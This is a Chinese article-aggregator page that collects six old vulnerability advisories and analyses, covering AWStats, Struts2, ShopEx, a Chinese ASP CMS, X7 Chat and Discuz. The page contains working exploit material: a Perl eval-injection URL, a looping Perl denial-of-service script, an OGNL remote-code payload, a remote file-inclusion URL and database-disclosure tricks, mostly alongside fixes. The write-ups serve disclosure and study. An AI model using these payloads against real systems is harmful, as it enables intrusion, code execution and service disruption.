AWStats 6.4及以下版本多个漏洞以及分析

时间:2022-10-22 07:44:41 其他范文 收藏本文 下载本文

AWStats 6.4及以下版本多个漏洞以及分析(通用6篇)由网友“水晶少侠”投稿提供,下面是小编为大家整理后的AWStats 6.4及以下版本多个漏洞以及分析,供大家参考借鉴,希望可以帮助到有需要的朋友。

AWStats 6.4及以下版本多个漏洞以及分析

篇1:AWStats 6.4及以下版本多个漏洞以及分析

/*==========================================*/

// GHC ->AWStats <- ADVISORY

\\ PRODUCT: AWStats

// VERSION: <= 6.3

\\ URL: awstats.sourceforge.net/

// VULNERABILITY CLASS: Multiple vulnerabilities

\\ RISK: high

/*==========================================*/

[Product Description]

“AWStats is a free powerful tool that generates advanced web, ftp or mail server statistics,

graphically.

This log analyzer works as a CGI or from command line and shows you all possible information

your log contains,

in few graphical web pages”.

Current stable version: AWStats 6.3 final

Development version is 6.4 - -02-06 14:31

[Summary]

Successful exploitation of an input validation vulnerability in AWStats scripts

allows attackers to execute limited perl directives under the privileges of

the web server, get sensetive information.

Some actions of the attacker can lead to denial of service.

[Details]

Some AWStats's functions can be extended with plugins.

Two variables (loadplugin & pluginmode) are dealing with it.

The first one (loadplugin) is responsible for plugins list (plugin1, plugin2); the

second one

runs plugin's functions.

Exploitable example (raw log plugin):

server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog

Server answer:

192.*.*.* - - [26/Jan/2005:11:01:41 +0300] “GET /cgi-bin/index.cgi HTTP/1.1” 500 606

192.*.*.* - - [26/Jan/2005:11:03:54 +0300] “GET /cgi-bin/index.cgi HTTP/1.1” 500 606

192.*.*.* - - [26/Jan/2005:11:07:54 +0300] “GET /themes/standard/style.css HTTP/1.1”

200 2986

192.*.*.* - - [26/Jan/2005:11:07:54 +0300] “GET /cgi-bin/index.cgi HTTP/1.1” 200 7710

192.*.*.* - - [26/Jan/2005:11:07:54 +0300] “GET /themes/standard/images/logo.gif HTTP/1.1”

200 14443

192.*.*.* - - [26/Jan/2005:11:07:54 +0300] “GET /images/xml.gif HTTP/1.1” 200 429

192.*.*.* - - [26/Jan/2005:11:07:54 +0300] “GET /images/pb_yawps.gif HTTP/1.1” 200

2532

192.*.*.* - - [26/Jan/2005:11:07:54 +0300] “GET /themes/standard/images/valid-html401.gif

HTTP/1.1” 200 2250

192.*.*.* - - [26/Jan/2005:11:07:54 +0300] “GET /themes/standard/images/vcss.gif HTTP/1.1”

200 1547

192.*.*.* - - [26/Jan/2005:11:08:06 +0300] “GET /cgi-bin/forum.cgi HTTP/1.1” 200 7333

192.*.*.* - - [26/Jan/2005:11:08:11 +0300] “GET /cgi-bin/links.cgi HTTP/1.1” 200 7588

192.*.*.* - - [26/Jan/2005:11:08:12 +0300] “GET /cgi-bin/top10.cgi HTTP/1.1” 200 7910

192.*.*.* - - [26/Jan/2005:11:08:17 +0300] “GET /cgi-bin/admin.cgi HTTP/1.1” 200 7340

192.*.*.* - - [26/Jan/2005:11:08:33 +0300] “GET /yawpsnews.xml HTTP/1.1” 200 153

The dangerous fact is that attacker can read sensitive information such as

IP address, admin scripts names, non encoded GET queries, etc.

Our variables pass some verification (as others), but it is not enough for security:

sub Sanitize {

my $stringtoclean=shift;

$stringtoclean =~ s/[^\w_\-\\\/\.:\s]//g;

return $stringtoclean;

}

Deletes everything but '_', '-', '\', '/', '.', ':' and any blank symbol.

It's enough for variables with path to configuration files, but not for plugin tasks.

In case of “loadplugin” & “pluginmode” developers obviously have a lot of trust to

the user.

So, let's see what can be done, in fact.

[1] Perl code execution.

server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent

we'll get the action in next piece of code:

# AWStats output is replaced by a plugin output

if ($PluginMode) {

my $function=“BuildFullHTMLOutput_$PluginMode”;

eval(“$function”);

if ($? || $@) { error(“$@”); }

&html_end(0);

exit 0;

}

If variable exists, we'll get code execution. This happens after sanitizing (see privious).

Here we have intresting part in:

my $function=“BuildFullHTMLOutput_$PluginMode()”;

eval(“$function”);

This is subroutine call (As example sub BuildFullHTMLOutput_rawlog() from

rawlog.pm plugin).

Ideal case: “module name”::BuildFullHTMLOutput_“function name”().

But if we won't specify the name of module (with “loadplugin” parameter) we'll get

the next:

main::BuildFullHTMLOutput_“function name”().

By the way, there is permited symbol ':' in user input parameters. So, we can send:

PluginMode=:print+getpwent

And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.

This will satisfy eval() requirements., and :print getpwent() is executed.

www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent

Sanitazing limits user's input, but there is no filtration for call sympols '()'.

Here we can see that somebody can perform. DoS attack.

This is example of simple code for successful DoS exploitation:

#!/usr/bin/perl

use IO::Socket;

$server = 'www.example.com';

sub ConnectServer {

$socket = IO::Socket::INET->new( Proto =>“tcp”, PeerAddr =>“$server”, PeerPort

=>“80”)

|| die “Error\n”;

print $socket “GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n”;

print $socket “Host: $server\n”;

print $socket “Accept: */*\n”;

print $socket “\n\n”;

}

while () {

$rp = rand;

&ConnectServer;

}

[BUGFIX]

Change vulnerable code for:

sub PluginSanitize {

my $stringtoclean=shift;

$stringtoclean =~ s/[^\w]//g;

return $stringtoclean;

}

[2] Arbitrary plugin including.

server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib

Arbitrary module from user's input through “loadplugin” parameter can be included

with “require” function..

Bugfix - as above or something like this:

opendir (PDIR, './plugins');

@FilesPDIR = readdir(PDIR);

closedir (PDIR);

foreach $FilesPName (@FilesPDIR) {

if ($FilesPName =~ m/$loadplugin/) {

}

}

The good thing is the poison null-byte (%00) has no place (transferes to 00).

[3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4(Development).

Every user can access debug function:

server/cgi-bin/awstats-6.4/awstats.pl?debug=1

server/cgi-bin/awstats-6.4/awstats.pl?debug=2

[DISCLOSURE TIMELINE]

10-02-2005 Initial vendor notification.

14-02-2005 No response.

14-02-2005 Bug-traq post.

/* ================================================== */

/* www.ghc.ru -- security games & challenges */

/* ================================================== */

/* greets to: RST.void.ru, cr0n & all quest hunters %)*/

/* Special respect to e-defense. */

篇2:Struts2多个漏洞简要分析

1月份,SEC Cousult发布了一篇关于struts2漏洞的文章,写到4个struts2的最新漏洞,一个漏洞可以做远程代码执行,一个漏洞引出了新的远程代码执行,一个漏洞曾经我在blog上发布过(没有投CVE),以及一个之前也曾看到过,但是认为是鸡肋的漏洞。

这篇文章题目叫做

《Multiple critical vulnerabilities in Apache Struts2》

四个漏洞,本文一个一个的讲一讲它们的前世今生。

Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)

新的远程代码执行漏洞,已经分析过它的利用和分析文章,具体地址在

/Article/01/116282.html

这里就不再多讲,我猜想或许就是因为这个漏洞被人爆了出来,才引出了老外发的这篇文章。

Remote command execution in Struts <= 2.3.1 (CookieInterceptor)

COOKIE 的远程代码执行,这看起来表面上很嚣张的样子,但其实较少用到,至少默认是不用的,必须要开发人员手工配置某个action才可以攻击,注意是一个单独的action,不懂这个的可以理解为URL。攻击者可能不知道是具体哪个action启用了这个配置,这会导致增加了漏洞发现的难度。也许攻击者要扫描所有的action,才能碰巧遇到一个做这样配置的地方。根据作者的经验,也许攻击者要扫描很多STRUTS2应用,才能遇到一个用到这个技术的应用。

下面的代码是示例:

*

*

/T1.jsp

可以看到,这是一个只针对testCookie这个action的配置。

由于CookieInterceptor在处理cookiesName时,会遍历cookiesMap,把cookie中的每个key和value做如下:

stack.setValue(cookieName, cookieValue);

这样的OGNL赋值处理。可以看到,cookiename将会作为一个ognl表达式执行。cookiename刚好是用户提交来的,所以触发了漏洞。通常应用程序都会指定一个cookiename,只接受指定cookiename,这样做是不存在漏洞的。但是如果真的有开发,把它配置为“*”号,这样就允许接受所有的cookiename,也就存在漏洞了。

除此之外,一个不可忽视的限制,是tomcat等服务器是默认不允许很多非主流符号,这导致这种攻击,在tomcat服务器下,无法进行,这个问题暂时没有发现绕过的方式。

相关代码如下,给各位喜欢bypass的同学做参考:

//以下为cookieName中不允许的字符

public static final char SEPARATORS[] = { '\t', ' ', '\“', '(', ')', ',', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '{', '}' };

总之很少用到,意味着很鸡肋,不是我们想象中的,只要有COOKIE就默认处理。即使开发人员需要处理cookie,也不见得会使用这个东西,在以往所接触到的项目中,从来没有见过这种配置方法。

还有更有趣的地方,这肯定是个彩蛋,struts给出的官方修补方案,居然犯了一个错误。首先看看官方公告:

struts.apache.org/2.x/docs/s2-008.html

特意抓个图证明。

解决方案是这样讲的:

Update to Struts 2.3.1 and apply a stronger acceptedParamNames filter to the ParameterInterceptor and CookieInterceptor:

acceptedParamNames = ”[a-zA-Z0-9\.][()_']+“;

修补这个漏洞只需要在CookieInterceptor这个 代码中,加入一个白名单列表,注意这个列表中,是有“小括号”符号的(小括号的作用,可以见本文下一个小节)。还好struts在真正实现的代码中,并没有这样做,而是把小括号也去掉了,否则这又是一个bypass,后面的内容会详细讲解有没有小括号的区别。

Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)

这个漏洞,讲的是因为没有过滤小括号而导致的问题,其实我的blog比他先爆出来,只是在利用方式上,并没有想到使用

java.io.FileWriter

去写个空的文件出来,覆盖原本的文件内容。

我的blog曾经发的一篇,目的是DOS攻击,结合java一些版本的漏洞,new出来一个浮点型的变量,具体漏洞细节见以下文章。

《Struts 2.2.3 DOS漏洞》

当时没有报告CVE,所以大家可能不知道。当然,我承认他们利用的比我精彩。

这个漏洞的精彩点,其实并不在谁先发现的,也不在于谁利用的更好,重点是这个团队在使用这个漏洞时,发出来一个OGNL语法小技巧。这个小小的技巧,刚好让一个大牛看到了,于是引出了一个不亚于当年秒杀所有struts框架的漏洞。

我相信,很多人都和我一样,垂首顿足的在讲:“擦!我怎么没想到”,当然,他们可能说的是英文版。

这个技巧先不讲,也就是小括号的事情,等下一个漏洞再讲,

Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor)

看到这个漏洞,我真的无语了,老外这是鸡肋的超神了。一点实用价值都没有的漏洞,事实上,我在看代码时,一看到struts代码中出现:

If (devMode) XXXXX

就自觉跳过了。

原因是我认为没有人会傻到把debug默认开到公网上去,而struts官方也鄙视了一下这个漏洞:

While not being a security vulnerability itself……balabala…

开启debug模式,意味着速度超级慢,意味着大批的无意义的log文件输出。所以,这个漏洞没什么可讲的,已经鸡肋到基本上你不会见到了。

它的具体成因,是当一个开发人员实在笨到啥都要问元芳的地步,以至于在线上开启debug模式后,struts2会有一个专门的 ,用于处理特殊的参数,当这个 接收ognl命令时,可以直接执行,方便开发人员做调试。确切的说,这并不是漏洞,而是struts2专门给开发人员的调试模式。

从 技术的角度上讲,总会有开发人员这么做,所以不该放过,POC大家可以留着,好消息是官方不准备出补丁,只是轻轻的鄙视了一下这么做的开发人员。

CVE--3923: Yet another Struts2 Remote Code Execution

前文两次提到这个漏洞,这是最新的BYPASS,这个漏洞的发布者看到了上文所述的“Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor)”漏洞的利用技巧,突然来了灵感,才有了这篇bypass。这个老外真的很实诚,发现漏洞,立刻就爆出来了,都没有在手里捂热了。

原文地址在

blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html

bypass的原理是利用了ognl的执行顺序。

假设有ognl语句如下:

(表达式1)(表达式2)

这样的语句,ognl会首先执行“表达式1”,假设得出结果为“12345”,后续流程,会把“12345”作为一个表达式再次执行。

看看这次新给出的exp

/myaction?foo=(#context[”xwork.MethodAccessor.denyMethodExecution“]= new java.lang.Boolean(false), #_memberAccess[”allowStaticMethodAccess“]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)&z[(foo)('meh')]=true

有很多人看不懂这个POC,就来问过我,为什么这样的都没有拦截?struts2不是已经做了拦截么?

我的回答是,请大家看清楚了,以前的拦截是针对参数名称的,而这个POC的参数名称有“#”号么?答案是木有。

根据原理,我们可以首先定义表达式1的值,是一个ognl表达式,就像exp中的第一个字段:

foo=(#context[”xwork.MethodAccessor.denyMethodExecution“]= new java.lang.Boolean(false), #_memberAccess[”allowStaticMethodAccess“]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)

这是一个很正常的get参数赋值。就像username=kxlzx一样正常。

在早期的远程代码执行漏洞修补中,会判断参数名称是否安全,而这里的参数名称叫做“foo”,这当然是安全的。

Exp的第二个字段:

&z[(foo)('meh')]=true

这里写的非常复杂,其实还是那个原理,foo在第一个字段中,已经被赋值了,这里直接使用foo的值,作为新的表达式,再次执行掉了。

对于这个exp,只有一个要求,就是exp对应的myaction中,必须有定义一个string类型的字段:

private String foo;

public void setFoo(String foo) {

this.foo = foo;

}

public String getFoo() {

return foo;

}

只要这是个string类型的字段就可以的,也许并不叫foo,叫做username等,总之必须是string类型的一个字段。要找到这样的一个action非常容易,必须用户注册啊,用户登录啊,必然会有的。

如果找到了叫做username的字段,这个exp就要变为:

/myaction?username=(#context[”xwork.MethodAccessor.denyMethodExecution“]= new java.lang.Boolean(false), #_memberAccess[”allowStaticMethodAccess“]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWND'))(meh)&z[(username)('meh')]=true

既然说到这里,就不得不插一句,这篇文章,其实是我在很久之前,老外刚发出来没多久就写成的,但是很遗憾,直到我去xcon2012演讲都没有发出来。而我在xcon2012演讲的内容,刚好就包括了这个限制的绕过,所以强烈推荐大家可以去看看那篇文章。

《Xcon2012 攻击JAVA WEB议题下载》

从效果来看,这个漏洞已经无限接近了爆出的那个漏洞了,并且这个漏洞,不像以前的那个因为出了利用工具,所以在国内炒的很厉害,这个知道的人,可能不多呢。

Wooyun上那些曾经发生过struts2漏洞的网站,现在打了补丁,但是真的是最新的么?打了补丁之后,有再次更新么?

有朋友讲过一句话,struts就是一个筛子,我表示认可。

篇3:ShopEx4.7及以下版本远程包含漏洞

ShopEx4.7及以下版本远程包含漏洞

漏洞描述:

verifycode.php

/**

*

* 登陆验证码生成文件

*

* @package ShopEx网上商店系统

* @version 4.6

* @author ShopEx.cn

* @url

* @since PHP 4.3

* @copyright ShopEx.cn

*

**/ if (!defined(”ISSHOP“))

{ Header(”Location:../index.php“);

exit;

}

/* 调用 session 文件 */ include_once($INC_SYSHOMEDIR.”include/session.inc.php“);   mt_srand((double)microtime * 1000000);

/* 生成验证码 */

$strValidate = mt_rand(1000, 9999);

session_unregister(”RANDOM_CODE“);

session_register(”RANDOM_CODE“);

$_SESSION[”RANDOM_CODE“] = $strValidate.”“;

$verifyImg = newclass(”verifyCode“, $strValidate);

/* 输出验证码图片 */

$verifyImg->Output();

?>

测试方法:

www.hackqing.cn/shop/verifycode.php?INC_SYSHOMEDIR=www.hackqing.com/xx.txt?

防治建议:

暂无

请参考官方补丁

ShopEx.cn

篇4:讯时网站管理系统CMS v4.0以下版本漏洞漏洞预警

我近来看见许多blog友人叫我多发这类漏洞文章,我今天在发一篇,我在站长之家发现这个无前台的程序,所以我下下来看看这程序安全性如何,而且这程序下载地人也较多,在站长之家的下载量达”讯时网站管理系统CMS下载地址(已被下载71216次) “我在down.chinaz.com/soft/14523.htm下载了这程序,在站长之家里面这程序是最新地,因为无前台,所以我直接跳到admin网站后台目录看代码,这套程序在安全性还是可以地,只是可能程序员疏忽所以出现问题了,我们来看admin目录下的 admin_conn.asp 文件,这文件代码很简单就几句话,我们来看源码

<%

mdb=”../“

%>

够简单吧,但是可能就是因为程序员疏忽,所以出现问题啦,这是一个数据库链接文件,但是因为这文件没有容错语句,所以导致暴库漏洞下面是我的本机地址 localhost/news/admin/admin_conn.asp,我们把最后一个“/”号改成“%5c”然后,哈哈,暴库数据库地址拉,大家看截图

,而且这套系统没有数据库防下载措施,数据库可以轻易下载

这个漏洞修复方法很简单,只要添加防错语句即可

”ON ERROR RESUME NEXT“这一句话!!!!

这漏洞应该是程序员疏忽造成的,在根目录下也有个admin_conn.asp 文件,这文件程序员添加了防错语句,

这漏洞危害较大,请大家不要拿这程序拿来做坏事哦!!!

这套程序应该还有其它疏忽的漏洞,但是我现在这几天没那么时间看源码,我过段时间我会看的,

请大家捧场哦!!!!!!!

声明一下,我去官方去看了一下,该程序最新版本为3,

讯时网站管理系统CMS v4.0以下版本漏洞漏洞预警

9这版本也未修复此漏洞,所以说这漏洞通杀所有版本

还有,因为写文章原因,我把此程序的数据库扩展名,改了一下,改成MDB了,程序原来是asp的扩展名,但是这漏洞还是存在地,因为某些站长没什么安全意识,但是为了涂方便,把扩展名改成mdb后,改了数据库后,不把数据库扩展名还原,所以这漏洞就可以充分利用了,罪过啊!!!!!

篇5:X7 Chat 2.0.5.1及以下版本CSRF添加管理员缺陷及修复漏洞预警

标题: X7 Chat 2.0.5.1 CSRF Add Admin Exploit

关键词: intitle:”Chat Room“ ”Powered By X7 Chat 2.0.5“

作者: DennSpec 下载地址: x7chat.com/releases/v2/x7chat2_0_5_1.zip

影响版本: <= 2.0.5.1

首先注册获得一个用户名

(frame.html in path of your main html page)

替换www.xxx..com /x7path/为你的目标地址. 别忘了替换 YOURUSERNAME 到YOURUSERNAME.

add this code to inside body tag of main html page:

and... upload main page and frame.html .

把这个页面传给任意管理员,

X7 Chat 2.0.5.1及以下版本CSRF添加管理员缺陷及修复漏洞预警

。。

篇6:Discuz! 7.2以下版本及各uc产品api接口Get webshell漏洞漏洞预警

对于dz,我们比较关心的是拿shell,但dz的东西想拿shell太难太难了,上一篇文章的末尾铺垫了下,所以这篇文章也算不上马后炮了...这个漏洞已经在discuz! x1版本悄悄给补上了,但是7.2及以下含有uc接口的版本的均没有补,

这个漏洞其实也是老漏洞,去年大家就已经知道了,是二次写配置文件的漏洞,就是年初创始人通过后台ucenter拿shell漏洞的另外的利用办法。 很多人知道了,uc.php里的代码跟那个setting.inc.php相仿,但是dz官方在修复后台的时候没有同时对此进行修复,于是使这个漏洞一直存在至今。

当然,漏洞是依旧是鸡肋的,想要利用这个漏洞,必须满足两点条件:

1.必须知道UC_KEY,通常在配置文件里,或者ucenter的原始(没有经过修改的)数据库(应用)中;

2.配置文件config.inc.php必须可写。

好了,看看代码吧:

...

function updateapps($get, $post) {

global $_DCACHE;

if(!API_UPDATEAPPS) {

return API_RETURN_FORBIDDEN;

}

$UC_API = $post['UC_API'];

if(empty($post) empty($UC_API)) {

return API_RETURN_SUCCEED;

}

$cachefile = $this->appdir.'./uc_client/data/cache/apps.php';

$fp = fopen($cachefile, 'w');

$s = ”

$s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).“;rn”;

fwrite($fp, $s);

fclose($fp);

if(is_writeable($this->appdir.'./config.inc.php')) {

$configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));

$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

$configfile = preg_replace(“/define('UC_API',s*'.*?');/i”, “define('UC_API', '$UC_API');”, $configfile);//这里的问题

if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {

@fwrite($fp, trim($configfile));

@fclose($fp);

}

}

global $_DCACHE;

require_once $this->appdir.'./forumdata/cache/cache_settings.php';

require_once $this->appdir.'./include/cache.func.php';

foreach($post as $appid =>$app) {

if(!empty($app['viewprourl'])) {

$_DCACHE['settings']['ucapp'][$appid]['viewprourl'] = $app['url'].$app['viewprourl'];

}

}

updatesettings();

return API_RETURN_SUCCEED;

}

...

怎么修复,discuz! x1里是这么修复的:

$configfile = preg_replace(“/define\('UC_API',\s*'.*?'\);/i”, “define('UC_API', '”.addslashes($UC_API).“');”, $configfile);

具体我就不详细分析了,以前就讲过,大家可以看我之前那篇博文:

www.oldjun.com/blog/index.php/archives/59/

好久没看dz了,曾经的、保留很久的get webshell的漏洞基本都一个个被公布,然后被补上了...希望大家还是留点有用的漏洞吧,不然真没的玩啦(如果在后台还有的话)...

发布作者:oldjun

攻击行为特征及反攻击技术

网络安全的论文

网络安全论文

安全工具暗藏杀机:快速识别后门程序

航空专用网络故障检测技术研究论文

断点续传软件研究论文

Samba nmbdpackets.c NetBIOS 回复栈有溢出漏洞

电力信息网络风险量化评估简析论文

网络层安全服务与攻击分析

商业网络社区的规划与管理论文

AWStats 6.4及以下版本多个漏洞以及分析
《AWStats 6.4及以下版本多个漏洞以及分析.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【AWStats 6.4及以下版本多个漏洞以及分析(通用6篇)】相关文章:

通信行业员工的年终总结2022-06-30

计算机网络信息安全现况论文2023-07-15

Linux Kiss Server lks.c文件多个格式串处理漏洞2023-05-30

低压供配电系统安全管理及防护论文2023-05-15

信息安全网络安全与网络空间安全分析论文2023-03-23

信息系统应急预案2023-03-15

化工企业网络安全探讨论文2022-04-30

计算机毕业论文范文2024-02-01

如何入侵FBI核心网络2023-04-24

网络安全技术论文2024-05-07

点击下载本文文档